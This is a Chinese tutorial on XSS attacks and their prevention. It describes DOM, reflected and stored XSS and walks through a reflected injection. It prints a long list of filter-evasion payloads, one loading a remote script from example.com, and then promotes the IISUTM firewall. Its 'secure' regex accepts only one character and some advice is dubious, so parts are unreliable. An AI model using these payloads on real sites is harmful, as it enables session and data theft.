防範XSS跨站式腳本攻擊

網站要怎么防範常見的XSS跨站式腳本攻擊呢,我們先從XSS跨站式腳本攻擊的原理來說起。

網站遭受XSS跨站式腳本攻擊的基本原理

1.本地利用漏洞,這種漏洞存在於頁面中客戶端腳本自身。

其攻擊過程如下所示:

A給B傳送一個惡意構造了Web的URL。

B點擊並查看了這個URL。

惡意頁面中的JavaScript打開一個具有漏洞的HTML頁面並將其安裝在B電腦上。

具有漏洞的HTML頁面包含了在B電腦本地域執行的JavaScript。

A的惡意腳本可以在B的電腦上執行B所持有的許可權下的命令。

2反射式漏洞,這種漏洞和本地利用漏洞有些類似,不同的是Web客戶端使用Server端腳本生成頁面為用戶提供數據時,如果未經驗證的用戶數據被包含在頁面中而未經HTML實體編碼,客戶端代碼便能夠注入到動態頁面中。

其攻擊過程如下:

A經常瀏覽某個網站,此網站為B所擁有。B的站點運行A使用用戶名/密碼進行登錄,並存儲敏感信息(比如銀行帳戶信息)。

C發現B的站點包含反射性的XSS漏洞。

C編寫一個利用漏洞的URL,並將其冒充為來自B的郵件傳送給A。

A在登錄到B的站點後,瀏覽C提供的URL。

嵌入到URL中的惡意腳本在A的瀏覽器中執行,就像它直接來自B的伺服器一樣。此腳本盜竊敏感信息(授權、信用卡、帳號信息等)然後在A完全不知情的情況下將這些信息傳送到C的Web站點。

3存儲式漏洞,該類型是套用最為廣泛而且有可能影響到Web伺服器自身安全的漏洞,駭客將攻擊腳本上傳到Web伺服器上,使得所有訪問該頁面的用戶都面臨信息泄漏的可能,其中也包括了Web伺服器的管理員。

其攻擊過程如下:

B擁有一個Web站點,該站點允許用戶發布信息/瀏覽已發布的信息。

C注意到B的站點具有存儲式的XXS漏洞。

C發布一個熱點信息,吸引其它用戶紛紛閱讀。

B或者是任何的其他人如A瀏覽該信息,其會話cookies或者其它信息將被C盜走。

類型A直接威脅用戶個體,而類型B和存儲式漏洞所威脅的對象都是企業級Web套用。

網站遭受XSS跨站式腳本攻擊的基本方式

1. DOM-based cross-site scripting

頁面本身包含一些DOM對象的操作,如果未對輸入的參數進行處理,可能會導致執行惡意腳本。如下面一些DOM操作:

document.URL

document.URLUnencoded

document.location (and many of its properties)

document.referrer

window.location (and many of its properties)

舉個例子,假如某個脆弱的頁面的代碼如下:

<HTML>

<TITLE>Welcome!</TITLE>

Hi

<SCRIPT>

var pos=document.URL.indexOf("name=")+5;

document.write(document.URL.substring(pos,document.URL.length));

</SCRIPT>

<BR>

Welcome to our system

</HTML>

攻擊者使用如下的URL訪問時,則非常危險:

http://www.vulnerable.site/welcome.html?name=<script>alert(document.cookie)</script>

試了一下,貌似IE、FireFox等瀏覽器默認 對<script>alert(document.cookie)</script>進行了編碼,阻止了腳本的執行。但是對於 DOM操作還是要更加謹慎啊,比如把上面的頁面修改一下,安全性就增強了不少:

<SCRIPT>

var pos=document.URL.indexOf("name=")+5;

var name=document.URL.substring(pos,document.URL.length);

if (name.match(/^[a-zA-Z0-9]$/))

{

document.write(name);

}

else

{

window.alert("Security error");

}

</SCRIPT>

2. Reflected cross-site scripting

也被稱為None-Persistent cross-site scripting,即,非持久化的XSS攻擊,是我們通常所說的,也是最常用,使用最廣的一種方式。它通過給別人傳送帶有惡意腳本代碼參數的URL,當 URL地址被打開時,特有的惡意代碼參數被HTML解析、執行。它的特點是非持久化,必須用戶點擊帶有特定參數的連結菜能引起。

3. Persistent cross-site scripting

持久化XSS攻擊,指的是惡意腳本代碼被存儲進被攻擊的資料庫,當其他用戶正常瀏覽網頁時,站點從資料庫中讀取了非法用戶存入非法數據,惡意腳本代碼被執行。這種攻擊類型通常在留言板等地方出現。

實施方式

我們來試一把Reflected cross-site scripting。當我們在某網站輸入參數XXX,發現參數XXX原樣的出現在了頁面源碼中:

<input type="text" class="Seach" name="w" value="XXX" />
OK,可以開始做文章了,我們將XXX替換為:abc"/><script>alert('haha')</script><a href=",返回的HTML代碼如下:

<input type="text" class="Seach" name="w" value="abc"/>
<script>alert('haha')</script><!--" />
這樣,<script>alert('haha')</script>被執行了。這裡再舉例一些XSS攻擊行為:

<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
<IMG SRC="javascript:alert(String.fromCharCode(88,83,83))">
<IMG SRC="jav ascript:alert('XSS');">
<SCRIPT/XSS SRC="http://example.com/xss.js"></SCRIPT>
<<SCRIPT>alert("XSS");//<</SCRIPT>
<iframe src=http://example.com/scriptlet.html <
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
<BODY BACKGROUND="javascript:alert('XSS')">
<body onload=alert(document.cookie)>
<BODY onload!#$%&()*~+-_.,:;?@[/|"]^`=alert("XSS")>
<IMG DYNSRC="javascript:alert('XSS')">
<IMG DYNSRC="javascript:alert('XSS')">
<BR SIZE="&{alert('XSS')}">
<IMG SRC="vbscript:msgbox("XSS")">
<TABLE BACKGROUND="javascript:alert('XSS')">
<DIV STYLE="width: expression(alert('XSS'));">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
<?="<SCRIPT>alert("XSS")</SCRIPT>"?>
<A HREF="javascript:document.location="http://www.example.com/"">XSS</A>
<IMG SRC=javascript:alert('XSS')>
<EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
a="get";
b="URL(""";
c="javascript:";
d="alert('XSS');"")";
eval(a+b+c+d);
總結一下,要防止XSS跨站式腳本攻擊主要是要在查詢字元串(QueryString),表單數據(PostData)以及Cookie甚至HTTP報頭(Header)中防止掉一些javascript關鍵字和一些敏感的字元(單引號,分號)以及SQL語言的關鍵字,以及防止他們使用encode編碼。

用ASP或者PHP腳本來實現上面的這些想起來就很麻煩。下面就來介紹下用一個第三方工具iisutm來處理上面我們說到的問題。

準備工作:先去www.iisutm.com下載最新的IISUTM版本。

根據iisutm網站防火牆安裝及操作手冊 中的說明把IISUTM部署到你的伺服器上來,這裡需要注意的是使用Windows 2003+iis6的伺服器,需要開啟iis中“以IIS5.0 隔離模式運行 www 服務”選項才能正常使用該軟體。

安裝完成,通過瀏覽器訪問IISUTM的配置管理界面默認的是http://127.0.0.1:8362,這個是私有地址,只能在該伺服器上訪問,你需要任何地方都能訪問的話,可以在安裝的時候IP位址的選項那裡填入你伺服器的公網IP位址,和你所開放的連線埠。這樣你就可以通過你配置的地址進行訪問,或者你可以在iis中直接管理名為IISUTM的站點。

登入管理界面後點擊上面導航欄中的“基本設定”,然後點擊左邊選單的“防XSS攻擊”連結。

開啟該連結里所有的選項,選中之後IISUTM會自動保存配置,下面的“使用不允許的傳送序列”是該軟體提供的XSS攻擊關鍵字的特徵庫,你可以根據你網站的情況進行更改(最好不要修改)。

確認以上的配置以後,你可以返回到IISUTM管理界面的首頁,這裡會列出最近伺服器遭受到的攻擊以及詳細,趕緊去看看你的網站是不是隨時有人在進行SQL注入吧,以及哪些攻擊被IISUTM處理掉了。

相關詞條

熱門詞條

聯絡我們